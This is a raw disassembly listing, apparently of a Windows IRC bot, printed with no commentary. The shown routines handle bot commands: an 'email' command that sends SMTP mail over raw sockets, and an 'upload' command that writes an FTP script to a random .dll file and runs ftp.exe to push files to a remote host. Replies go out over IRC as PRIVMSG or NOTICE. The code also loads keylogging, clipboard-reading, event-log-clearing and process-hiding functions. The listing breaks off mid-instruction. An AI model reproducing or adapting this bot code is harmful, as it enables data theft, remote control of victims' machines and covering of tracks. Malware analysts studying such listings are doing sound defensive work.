dword_4E15B8 push offset aMrnetiex ; "##mrnetiex##" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40A702 push offset aMrnetiex ; "##mrnetiex##" push 80h lea eax, [ebp+var_3298] push eax call sub_421B90 add esp, 0Ch jmp short loc_40A709 ; --------------------------------------------------------------------------- loc_40A702: ; CODE XREF: sub_4021E5+8500j and [ebp+var_3298], 0 loc_40A709: ; CODE XREF: sub_4021E5+84A3j ; sub_4021E5+84EBj ... cmp [ebp+var_31E8], 0 jz short loc_40A71E mov [ebp+var_4170], offset aRandom_0 ; "Random" jmp short loc_40A728 ; --------------------------------------------------------------------------- loc_40A71E: ; CODE XREF: sub_4021E5+852Bj mov [ebp+var_4170], offset aSequential_0 ; "Sequential" loc_40A728: ; CODE XREF: sub_4021E5+8537j push [ebp+var_31FC] push [ebp+var_320C] push [ebp+var_3210] push [ebp+var_3214] lea eax, [ebp+var_3328] push eax push [ebp+var_4170] push offset unk_444288 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 20h push 0 push 0Bh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_3208], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_3328] push eax push offset dword_40EF74 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_3208] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_3208] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_40A7D5 loc_40A7C0: ; CODE XREF: sub_4021E5+85ECj cmp [ebp+var_31E4], 0 jnz short loc_40A7D3 push 32h call near ptr 27A0000h nop jmp short loc_40A7C0 ; --------------------------------------------------------------------------- loc_40A7D3: ; CODE XREF: sub_4021E5+85E2j jmp short loc_40A7F0 ; --------------------------------------------------------------------------- loc_40A7D5: ; CODE XREF: sub_4021E5+85D9j nop call near ptr 27A0A66h push eax push offset unk_4442F0 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40A7F0: ; CODE XREF: sub_4021E5:loc_40A7D3j cmp [ebp+var_4], 0 jnz short loc_40A816 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40A816: ; CODE XREF: sub_4021E5+860Fj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40A82B: ; CODE XREF: sub_4021E5+8098j jmp loc_40AD49 ; --------------------------------------------------------------------------- loc_40A830: ; CODE XREF: sub_4021E5+8027j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aNetsend ; "netsend" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40A86E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aNs ; "ns" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40AA59 loc_40A86E: ; CODE XREF: sub_4021E5+8666j mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] push offset unk_444334 loc_40A89A: ; DATA XREF: .XComp0:0044AD94o ; .XComp0:0044ADD8o ... lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 14h push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] call sub_41EBD0 pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_41EBD0 pop ecx add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_41EBD0 pop ecx add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_41EBD0 pop ecx lea eax, [esi+eax+7] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_3354], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx mov [ebp+var_3350], eax and [ebp+var_5D8], 0 jmp short loc_40A97A ; --------------------------------------------------------------------------- loc_40A96D: ; CODE XREF: sub_4021E5:loc_40AA28j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40A97A: ; CODE XREF: sub_4021E5+8786j mov eax, [ebp+var_5D8] cmp eax, [ebp+var_3350] jge loc_40AA2D push [ebp+var_3354] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_41AD09 add esp, 0Ch mov [ebp+var_334C], eax cmp [ebp+var_334C], 1 jnz short loc_40A9E3 push 0 push [ebp+var_85C] push offset unk_444370 push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp short loc_40AA2D ; --------------------------------------------------------------------------- loc_40A9E3: ; CODE XREF: sub_4021E5+87DCj cmp [ebp+var_334C], 0 jz short loc_40AA28 push [ebp+var_334C] push offset unk_4443A8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp short loc_40AA2D ; --------------------------------------------------------------------------- loc_40AA28: ; CODE XREF: sub_4021E5+8805j jmp loc_40A96D ; --------------------------------------------------------------------------- loc_40AA2D: ; CODE XREF: sub_4021E5+87A1j ; sub_4021E5+87FCj ... cmp [ebp+var_334C], 0 jnz short loc_40AA54 push 0 push [ebp+var_85C] push offset unk_4443DC push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40AA54: ; CODE XREF: sub_4021E5+884Fj jmp loc_40AD49 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_4021E5+8683j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aEmail ; "email" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40ACA5 mov word ptr [ebp+var_39EC], 101h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] lea eax, [ebp+var_3758] push eax call sub_422580 pop ecx pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx mov [ebp+var_3A08], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] lea eax, [ebp+var_3658] push eax call sub_422580 pop ecx pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] lea eax, [ebp+var_3558] push eax call sub_422580 pop ecx pop ecx push offset asc_444418 ; " " push offset a_ ; "_" mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_41A1B4 add esp, 0Ch push eax lea eax, [ebp+var_3458] push eax call sub_422580 pop ecx pop ecx lea eax, [ebp+var_39E8] push eax push [ebp+var_39EC] call dword_4E1670 ; WSAStartup lea eax, [ebp+var_3758] push eax call dword_4E1784 ; gethostbyname mov [ebp+var_3358], eax push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_39F4], eax mov [ebp+var_3A04], 2 mov eax, [ebp+var_3358] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_3A00], eax push [ebp+var_3A08] call dword_4E1700 ; ntohs mov [ebp+var_3A02], ax lea eax, [ebp+var_3458] push eax lea eax, [ebp+var_3658] push eax lea eax, [ebp+var_3458] push eax lea eax, [ebp+var_3558] push eax lea eax, [ebp+var_3658] push eax push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... lea eax, [ebp+var_3E08] push eax call sub_4219C0 add esp, 1Ch push 10h lea eax, [ebp+var_3A04] push eax push [ebp+var_39F4] call dword_4E16A8 ; connect mov [ebp+var_39F0], eax push 0 push 100h lea eax, [ebp+var_3858] push eax push [ebp+var_39F4] call dword_4E1718 ; recv mov [ebp+var_39F0], eax push 0 lea eax, [ebp+var_3858] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_3E08] push eax push [ebp+var_39F4] call dword_4E1750 ; send mov [ebp+var_39F0], eax push 0 push 100h lea eax, [ebp+var_3858] push eax push [ebp+var_39F4] call dword_4E1718 ; recv mov [ebp+var_39F0], eax push [ebp+var_39F4] call dword_4E1798 ; closesocket call dword_4E1658 ; WSACleanup lea eax, [ebp+var_3558] push eax push offset unk_44446C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40AC90 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40AC90: ; CODE XREF: sub_4021E5+8A89j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40ACA5: ; CODE XREF: sub_4021E5+888Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aHttpcon ; "httpcon" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40ACDF mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aHcon ; "hcon" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40AD49 loc_40ACDF: ; CODE XREF: sub_4021E5+8ADBj mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_415A54 add esp, 24h mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40AD49: ; CODE XREF: sub_4021E5:loc_40A82Bj ; sub_4021E5:loc_40AA54j ... call sub_41CC78 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jnz short loc_40AD66 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40AD66: ; CODE XREF: sub_4021E5+8B77j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUpload ; "upload" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40AFB8 push 4 mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_419698 pop ecx pop ecx test eax, eax jnz short loc_40ADFD mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] push offset unk_4444A8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40ADE8 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40ADE8: ; CODE XREF: sub_4021E5+8BE1j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40ADFD: ; CODE XREF: sub_4021E5+8BBAj nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx call sub_421AD0 cdq push 9 pop ecx idiv ecx push edx call sub_421AD0 cdq push 63h pop ecx idiv ecx push edx call sub_421AD0 cdq mov ecx, 3E7h idiv ecx push edx lea eax, [ebp+var_3F0C] push eax push offset aSIII_dll ; "%s\\%i%i%i.dll" lea eax, [ebp+var_4010] push eax call sub_4219C0 add esp, 18h push offset aAb ; "ab" lea eax, [ebp+var_4010] push eax call sub_4213F0 pop ecx pop ecx mov [ebp+var_4014], eax cmp [ebp+var_4014], 0 jz loc_40AFB3 mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push [ebp+var_4014] call sub_421F80 add esp, 1Ch push [ebp+var_4014] call sub_41EC50 pop ecx lea eax, [ebp+var_4010] push eax push offset aSS_0 ; "-s:%s" lea eax, [ebp+var_4114] push eax call sub_4219C0 add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4114] push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_1 ; "open" push 0 call dword_4E166C ; ShellExecuteA test eax, eax jz short loc_40AF36 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] push offset unk_444518 call sub_4219C0 add esp, 0Ch jmp short loc_40AF5D ; --------------------------------------------------------------------------- loc_40AF36: ; CODE XREF: sub_4021E5+8D26j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] push offset unk_444540 call sub_4219C0 add esp, 0Ch loc_40AF5D: ; CODE XREF: sub_4021E5+8D4Fj cmp [ebp+var_4], 0 jnz short loc_40AF83 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40AF83: ; CODE XREF: sub_4021E5+8D7Cj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_40AF90: ; CODE XREF: sub_4021E5+8DCCj push 4 lea eax, [ebp+var_4010] push eax call sub_419698 pop ecx pop ecx test eax, eax jz short loc_40AFB3 lea eax, [ebp+var_4010] push eax call sub_421F10 pop ecx jmp short loc_40AF90 ; --------------------------------------------------------------------------- loc_40AFB3: ; CODE XREF: sub_4021E5+8C86j ; sub_4021E5+8DBDj push 1 pop eax jmp short loc_40AFBB ; --------------------------------------------------------------------------- loc_40AFB8: ; CODE XREF: sub_4021E5+951j ; sub_4021E5+95Ej ... mov eax, [ebp+arg_24] loc_40AFBB: ; CODE XREF: sub_4021E5+68j ; sub_4021E5+13Bj ... pop esi leave retn sub_4021E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFBE proc near ; CODE XREF: sub_401FD0+5Bp ; sub_4021E5+2C4p ... var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 204h lea eax, [ebp+arg_8] mov [ebp+var_204], eax push [ebp+var_204] push [ebp+arg_4] push 200h lea eax, [ebp+var_200] push eax call sub_422920 add esp, 10h push 0 lea eax, [ebp+var_200] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4E1750 ; send leave retn sub_40AFBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B00F proc near ; CODE XREF: sub_4021E5+7A8p ; sub_4021E5+11C0p ... var_408 = dword ptr -408h var_404 = byte ptr -404h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 408h push esi cmp [ebp+arg_C], 0 jz short loc_40B028 mov [ebp+var_4], offset aNotice_2 ; "NOTICE" jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40B028: ; CODE XREF: sub_40B00F+Ej mov [ebp+var_4], offset aPrivmsg_2 ; "PRIVMSG" loc_40B02F: ; CODE XREF: sub_40B00F+17j push [ebp+var_4] call sub_41EBD0 pop ecx mov esi, 200h sub esi, eax push [ebp+arg_4] call sub_41EBD0 pop ecx sub esi, eax sub esi, 6 mov [ebp+var_408], esi push [ebp+arg_8] push offset aS_18 ; "%s" push [ebp+var_408] lea eax, [ebp+var_204] push eax call sub_421B90 add esp, 10h lea eax, [ebp+var_204] push eax push [ebp+arg_4] push [ebp+var_4] push offset aSSS_0 ; "%s %s :%s\r\n" lea eax, [ebp+var_404] push eax call sub_4219C0 add esp, 14h push 0 lea eax, [ebp+var_404] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+arg_0] call dword_4E1750 ; send cmp [ebp+arg_10], 0 jz short loc_40B0C2 push 7D0h nop call near ptr 27A0000h loc_40B0C2: ; CODE XREF: sub_40B00F+A6j pop esi leave retn sub_40B00F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0C5 proc near ; CODE XREF: sub_4016A7+67p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 38h push offset aKernel32_dll ; "kernel32.dll" call near ptr 27B03C5h nop mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_40B240 push offset aSeterrormode ; "SetErrorMode" push [ebp+var_24] call near ptr 27D0334h nop mov dword_4E17AC, eax push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E1720, eax push offset aProcess32first ; "Process32First" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E1704, eax push offset aProcess32next ; "Process32Next" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E1614, eax push offset aModule32first ; "Module32First" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E15C0, eax push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E15F0, eax push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push [ebp+var_24] call near ptr 27D0334h nop mov dword_4E1668, eax push offset aGetdrivetypea ; "GetDriveTypeA" push [ebp+var_24] call near ptr 27D0334h nop mov dword_4E1760, eax push offset aSearchpatha ; "SearchPathA" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E17BC, eax push offset aQueryperforman ; "QueryPerformanceCounter" push [ebp+var_24] call near ptr 27D0334h nop mov dword_4E1620, eax push offset aQueryperform_0 ; "QueryPerformanceFrequency" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E1608, eax cmp dword_4E17AC, 0 jz short loc_40B20E cmp dword_4E1720, 0 jz short loc_40B20E cmp dword_4E1704, 0 jz short loc_40B20E cmp dword_4E1614, 0 jz short loc_40B20E cmp dword_4E15F0, 0 jz short loc_40B20E cmp dword_4E1668, 0 jz short loc_40B20E cmp dword_4E1760, 0 jz short loc_40B20E cmp dword_4E17BC, 0 jz short loc_40B20E cmp dword_4E1620, 0 jz short loc_40B20E cmp dword_4E1608, 0 jnz short loc_40B218 loc_40B20E: ; CODE XREF: sub_40B0C5+F6j ; sub_40B0C5+FFj ... mov dword_4E17C0, 1 loc_40B218: ; CODE XREF: sub_40B0C5+147j push offset aRegisterservic ; "RegisterServiceProcess" push [ebp+var_24] nop call near ptr 27D0334h mov dword_4E1738, eax cmp dword_4E1738, 0 jz short loc_40B23E push 1 push 0 call dword_4E1738 loc_40B23E: ; CODE XREF: sub_40B0C5+16Dj jmp short loc_40B255 ; --------------------------------------------------------------------------- loc_40B240: ; CODE XREF: sub_40B0C5+18j call near ptr 27A0A66h nop mov dword_4E17C4, eax mov dword_4E17C0, 1 loc_40B255: ; CODE XREF: sub_40B0C5:loc_40B23Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 27D0000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_40B3D3 push offset aSendmessagea ; "SendMessageA" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E175C, eax push offset aFindwindowa ; "FindWindowA" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E170C, eax push offset aIswindow ; "IsWindow" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E16A0, eax push offset aDestroywindow ; "DestroyWindow" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E17B0, eax push offset aOpenclipboard ; "OpenClipboard" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E16D0, eax push offset aGetclipboardda ; "GetClipboardData" push [ebp+var_4] nop call near ptr 27D0334h mov dword_4E16F0, eax push offset aCloseclipboard ; "CloseClipboard" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E1754, eax push offset aExitwindowsex ; "ExitWindowsEx" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E1640, eax cmp dword_4E175C, 0 jz short loc_40B34D cmp dword_4E170C, 0 jz short loc_40B34D cmp dword_4E16A0, 0 jz short loc_40B34D cmp dword_4E17B0, 0 jz short loc_40B34D cmp dword_4E16D0, 0 jz short loc_40B34D cmp dword_4E16F0, 0 jz short loc_40B34D cmp dword_4E1754, 0 jz short loc_40B34D cmp dword_4E1640, 0 jnz short loc_40B357 loc_40B34D: ; CODE XREF: sub_40B0C5+247j ; sub_40B0C5+250j ... mov dword_4E17C8, 1 loc_40B357: ; CODE XREF: sub_40B0C5+286j push offset aGetasynckeysta ; "GetAsyncKeyState" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E16CC, eax push offset aGetkeystate ; "GetKeyState" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E15D4, eax push offset aGetwindowtexta ; "GetWindowTextA" push [ebp+var_4] nop call near ptr 27D0334h mov dword_4E169C, eax push offset aGetforegroundw ; "GetForegroundWindow" push [ebp+var_4] call near ptr 27D0334h nop mov dword_4E1684, eax cmp dword_4E16CC, 0 jz short loc_40B3C7 cmp dword_4E15D4, 0 jz short loc_40B3C7 cmp dword_4E169C, 0 jz short loc_40B3C7 cmp dword_4E1684, 0 jnz short loc_40B3D1 loc_40B3C7: ; CODE XREF: sub_40B0C5+2E5j ; sub_40B0C5+2EEj ... mov dword_4E17C8, 1 loc_40B3D1: ; CODE XREF: sub_40B0C5+300j jmp short loc_40B3E8 ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B0C5+1A2j nop call near ptr 27A0A66h mov dword_4E17CC, eax mov dword_4E17C8, 1 loc_40B3E8: ; CODE XREF: sub_40B0C5:loc_40B3D1j push offset aAdvapi32_dll ; "advapi32.dll" nop call near ptr 27B03C5h mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz loc_40B648 push offset aRegopenkeyexa ; "RegOpenKeyExA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E1770, eax push offset aRegcreatekeyex ; "RegCreateKeyExA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E16B4, eax push offset aRegsetvalueexa ; "RegSetValueExA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E1724, eax push offset aRegqueryvaluee ; "RegQueryValueExA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E1600, eax push offset aRegdeletevalue ; "RegDeleteValueA" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E1664, eax push offset aRegclosekey ; "RegCloseKey" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E16DC, eax push offset aOpeneventloga ; "OpenEventLogA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E1680, eax push offset aCleareventloga ; "ClearEventLogA" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E1690, eax cmp dword_4E1770, 0 jz short loc_40B4CE cmp dword_4E16B4, 0 jz short loc_40B4CE cmp dword_4E1724, 0 jz short loc_40B4CE cmp dword_4E1600, 0 jz short loc_40B4CE cmp dword_4E1664, 0 jz short loc_40B4CE cmp dword_4E16DC, 0 jnz short loc_40B4D8 loc_40B4CE: ; CODE XREF: sub_40B0C5+3DAj ; sub_40B0C5+3E3j ... mov dword_4E17D0, 1 loc_40B4D8: ; CODE XREF: sub_40B0C5+407j push offset aOpenprocesstok ; "OpenProcessToken" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E16E4, eax push offset aLookupprivileg ; "LookupPrivilegeValueA" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E16BC, eax push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E176C, eax cmp dword_4E16E4, 0 jz short loc_40B52C cmp dword_4E16BC, 0 jz short loc_40B52C cmp dword_4E176C, 0 jnz short loc_40B536 loc_40B52C: ; CODE XREF: sub_40B0C5+453j ; sub_40B0C5+45Cj mov dword_4E17D0, 1 loc_40B536: ; CODE XREF: sub_40B0C5+465j push offset aOpenscmanagera ; "OpenSCManagerA" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E16F4, eax push offset aOpenservicea ; "OpenServiceA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E15DC, eax push offset aStartservicea ; "StartServiceA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E15E4, eax push offset aControlservice ; "ControlService" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E1648, eax push offset aDeleteservice ; "DeleteService" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E164C, eax push offset aCloseserviceha ; "CloseServiceHandle" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E15F8, eax push offset aEnumservicesst ; "EnumServicesStatusA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E16C0, eax push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push [ebp+var_34] call near ptr 27D0334h nop mov dword_4E15E8, eax cmp dword_4E16F4, 0 jz short loc_40B616 cmp dword_4E15DC, 0 jz short loc_40B616 cmp dword_4E15E4, 0 jz short loc_40B616 cmp dword_4E1648, 0 jz short loc_40B616 cmp dword_4E164C, 0 jz short loc_40B616 cmp dword_4E15F8, 0 jz short loc_40B616 cmp dword_4E16C0, 0 jz short loc_40B616 cmp dword_4E15E8, 0 jnz short loc_40B620 loc_40B616: ; CODE XREF: sub_40B0C5+510j ; sub_40B0C5+519j ... mov dword_4E17D0, 1 loc_40B620: ; CODE XREF: sub_40B0C5+54Fj push offset aGetusernamea ; "GetUserNameA" push [ebp+var_34] nop call near ptr 27D0334h mov dword_4E15E0, eax cmp dword_4E15E0, 0 jnz short loc_40B646 mov dword_4E17D0, 1 loc_40B646: ; CODE XREF: sub_40B0C5+575j jmp short loc_40B65D ; --------------------------------------------------------------------------- loc_40B648: ; CODE XREF: sub_40B0C5+335j call near ptr 27A0A66h nop mov dword_4E17D4, eax mov dword_4E17D0, 1 loc_40B65D: ; CODE XREF: sub_40B0C5:loc_40B646j push offset aGdi32_dll ; "gdi32.dll" nop call near ptr 27B03C5h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_40B77D push offset aCreatedca ; "CreateDCA" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E16EC, eax push offset aCreatedibsecti ; "CreateDIBSection" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E1744, eax push offset aCreatecompatib ; "CreateCompatibleDC" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E174C, eax push offset aGetdevicecaps ; "GetDeviceCaps" push [ebp+var_28] call near ptr 27D0334h nop mov dword_4E1708, eax push offset aGetdibcolortab ; "GetDIBColorTable" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E1624, eax push offset aSelectobject ; "SelectObject" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E15D0, eax push offset aBitblt ; "BitBlt" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E1748, eax push offset aDeletedc ; "DeleteDC" push [ebp+var_28] call near ptr 27D0334h nop mov dword_4E15BC, eax push offset aDeleteobject ; "DeleteObject" push [ebp+var_28] nop call near ptr 27D0334h mov dword_4E165C, eax cmp dword_4E16EC, 0 jz short loc_40B771 cmp dword_4E1744, 0 jz short loc_40B771 cmp dword_4E174C, 0 jz short loc_40B771 cmp dword_4E1708, 0 jz short loc_40B771 cmp dword_4E1624, 0 jz short loc_40B771 cmp dword_4E15D0, 0 jz short loc_40B771 cmp dword_4E1748, 0 jz short loc_40B771 cmp dword_4E15BC, 0 jz short loc_40B771 cmp dword_4E165C, 0 jnz short loc_40B77B loc_40B771: ; CODE XREF: sub_40B0C5+662j ; sub_40B0C5+66Bj ... mov dword_4E17D8, 1 loc_40B77B: ; CODE XREF: sub_40B0C5+6AAj jmp short loc_40B792 ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B0C5+5AAj nop call near ptr 27A0A66h mov dword_4E17DC, eax mov dword_4E17D8, 1 loc_40B792: ; CODE XREF: sub_40B0C5:loc_40B77Bj push offset aWs2_32_dll ; "ws2_32.dll" nop call near ptr 27D0000h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40BB33 push offset aWsastartup ; "WSAStartup" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E1670, eax push offset aWsasocketa ; "WSASocketA" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E17A4, eax push offset aWsaasyncselect ; "WSAAsyncSelect" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E1610, eax push offset a__wsafdisset ; "__WSAFDIsSet" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E15EC, eax push offset aWsaioctl ; "WSAIoctl" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E16AC, eax push offset aWsagetlasterro ; "WSAGetLastError" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1694, eax push offset aWsacleanup ; "WSACleanup" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1658, eax push offset aSocket ; "socket" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1780, eax push offset aIoctlsocket ; "ioctlsocket" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E179C, eax push offset aConnect ; "connect" push [ebp+var_10] call 